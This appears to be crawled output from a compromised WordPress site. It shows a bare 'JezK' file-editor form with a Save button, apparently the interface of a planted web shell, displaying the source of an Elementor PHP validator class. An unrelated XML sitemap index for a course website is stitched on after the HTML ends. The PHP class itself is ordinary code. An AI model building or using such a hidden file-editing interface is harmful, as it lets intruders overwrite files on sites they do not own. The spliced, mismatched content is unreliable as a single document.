
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: non-atomic-widget-validator.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\Components;

use Elementor\Core\Utils\Collection;
use Elementor\Modules\AtomicWidgets\Utils\Utils;
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Non_Atomic_Widget_Validator {
	const ERROR_CODE = 'non_atomic_element_in_component';
	const WIDGET_EL_TYPE = 'widget';

	public static function make(): Non_Atomic_Widget_Validator {
		return new self();
	}

	public function validate( array $elements ): array {
		$non_atomic_elements = $this-&gt;find_non_atomic_elements( $elements );

		if ( ! empty( $non_atomic_elements ) ) {
			return $this-&gt;build_error_response( $non_atomic_elements );
		}

		return [
			'success' =&gt; true,
			'messages' =&gt; [],
		];
	}

	public function validate_items( Collection $items ): array {
		foreach ( $items-&gt;all() as $item ) {
			$elements = $item['elements'] ?? [];
			$result = $this-&gt;validate( $elements );

			if ( ! $result['success'] ) {
				return $result;
			}
		}

		return [
			'success' =&gt; true,
			'messages' =&gt; [],
		];
	}

	private function find_non_atomic_elements( array $elements ): array {
		$non_atomic = [];

		foreach ( $elements as $element ) {
			$el_type = $element['elType'] ?? null;
			$widget_type = $element['widgetType'] ?? null;
			$element_type = $this-&gt;get_element_type( $el_type, $widget_type );

			if ( $element_type &amp;&amp; ! $this-&gt;is_element_atomic( $el_type, $widget_type ) ) {
				$non_atomic[] = $element_type;
			}

			if ( ! empty( $element['elements'] ) ) {
				$nested_non_atomic = $this-&gt;find_non_atomic_elements( $element['elements'] );
				$non_atomic = array_merge( $non_atomic, $nested_non_atomic );
			}
		}

		return array_unique( $non_atomic );
	}

	private function get_element_type( ?string $el_type, ?string $widget_type ): ?string {
		return $widget_type ?? $el_type;
	}

	private function is_element_atomic( ?string $el_type, ?string $widget_type ): bool {
		if ( ! $el_type ) {
			return false;
		}

		$element_instance = Plugin::$instance-&gt;elements_manager-&gt;get_element( $el_type, $widget_type );

		if ( ! $element_instance ) {
			return false;
		}

		return Utils::is_atomic( $element_instance );
	}

	private function build_error_response( array $non_atomic_elements ): array {
		$message = sprintf(
			// translators: %s: Comma-separated list of non-atomic element types.
			esc_html__( 'Component contains non-supported elements: %s. Only atomic elements are allowed inside components.', 'elementor' ),
			implode( ', ', $non_atomic_elements )
		);

		return [
			'success' =&gt; false,
			'code' =&gt; self::ERROR_CODE,
			'messages' =&gt; [ $message ],
			'non_atomic_elements' =&gt; $non_atomic_elements,
		];
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->